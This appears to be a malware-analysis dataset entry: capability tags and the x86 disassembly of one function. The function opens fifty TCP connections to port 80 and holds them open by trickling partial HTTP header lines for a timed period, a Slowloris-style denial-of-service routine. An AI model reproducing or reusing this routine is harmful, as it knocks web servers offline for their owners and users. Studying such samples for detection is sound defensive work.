Function at 0x6999b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
push 0x103
lea eax, [ebp - 0x1e7]
push 0
push eax
mov dword [ebp - 8], 1
mov byte [ebp - 0x1e8], 0
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x2eb]
push 0
push ecx
mov byte [ebp - 0x2ec], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
lea edx, [ebp - 0x47c]
push edx
push 2
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x699c55
push esi
lea eax, [ebp + 8]
push edi
push eax
call fcn.00699300
add esp, 4
mov ecx, 2
push 0x50
mov esi, eax
mov word [ebp - 0x1c], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x18], esi
call edi
mov esi, dword [ebp + 0x20c]
imul esi, esi, 0xea60
add esi, eax
mov dword [ebp - 0xc], esi
call edi
cmp eax, esi
jae 0x699c53
push ebx
jmp 0x699a66
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x6a5cbc], 0
jne 0x699c52
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xe4], eax
cmp eax, 0xffffffff
je 0x699a9b
lea edx, [ebp - 8]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x699a75
xor esi, esi
mov ecx, dword [ebp + esi*4 - 0xe4]
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ecx
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x699aa3
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
mov edx, dword [ebp + 0x208]
mov ecx, dword [ebp + 0x210]
imul edx, edx, 0xea60
add eax, edx
mov dword [ebp - 4], eax
lea eax, [ebp + 8]
push eax
push ecx
call fcn.00699580
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 8
push str.X_a:_b_r_n
lea edx, [ebp - 0x1e8]
push edx
mov edi, eax
call esi
push str.Connection:_Close_r_n_r_n
lea eax, [ebp - 0x2ec]
push eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
xor esi, esi
lea esp, [esp]
mov eax, dword [0x6da3dc]
push 0
push ebx
push edi
test eax, eax
je 0x699b39
mov ecx, dword [ebp + esi*4 - 0xe4]
push ecx
call eax
jmp 0x699b46
mov edx, dword [ebp + esi*4 - 0xe4]
push edx
call sub.WS2_32.dll_send
inc esi
cmp esi, 0x32
jl 0x699b20
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1e8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 4]
jae 0x699bdd
cmp dword [0x6a5cbc], 0
jne 0x699bdd
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x32
xor esi, esi
lea esp, [esp]
mov eax, dword [0x6da3dc]
push 0
push ebx
test eax, eax
je 0x699baf
mov edx, dword [ebp + esi*4 - 0xe4]
lea ecx, [ebp - 0x1e8]
push ecx
push edx
call eax
jmp 0x699bc3
mov ecx, dword [ebp + esi*4 - 0xe4]
lea eax, [ebp - 0x1e8]
push eax
push ecx
call sub.WS2_32.dll_send
test eax, eax
jg 0x699bc8
dec edi
inc esi
cmp esi, 0x32
jl 0x699b90
test edi, edi
je 0x699bdd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 4]
jb 0x699b71
lea edx, [ebp - 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
xor esi, esi
mov edi, edi
mov eax, dword [0x6da3dc]
push 0
push edi
test eax, eax
je 0x699c0f
mov edx, dword [ebp + esi*4 - 0xe4]
lea ecx, [ebp - 0x2ec]
push ecx
push edx
call eax
jmp 0x699c23
mov ecx, dword [ebp + esi*4 - 0xe4]
lea eax, [ebp - 0x2ec]
push eax
push ecx
call sub.WS2_32.dll_send
inc esi
cmp esi, 0x32
jl 0x699bf0
xor esi, esi
jmp 0x699c30
mov edx, dword [ebp + esi*4 - 0xe4]
push edx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x699c30
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0xc]
jb 0x699a60
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret